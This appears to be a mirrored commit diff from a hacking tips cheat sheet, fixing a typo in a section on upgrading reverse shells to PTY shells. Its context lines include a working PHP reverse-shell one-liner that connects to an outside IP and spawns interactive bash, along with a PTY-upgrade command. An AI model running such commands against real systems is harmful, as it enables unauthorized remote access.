mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-06-08 14:53:53 +02:00
@@ -389,7 +389,7 @@ php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
|
||||
<a id="rsup-anchor"></a>
|
||||
**5.ii.a. Upgrade a reverse shell to a PTY shell**
|
||||
|
||||
Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrate the shell to a real PTY shell:
|
||||
Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell:
|
||||
|
||||
```
|
||||
$ script -qc /bin/bash /dev/null # Linux
|
||||
|
||||
Reference in New Issue
Block a user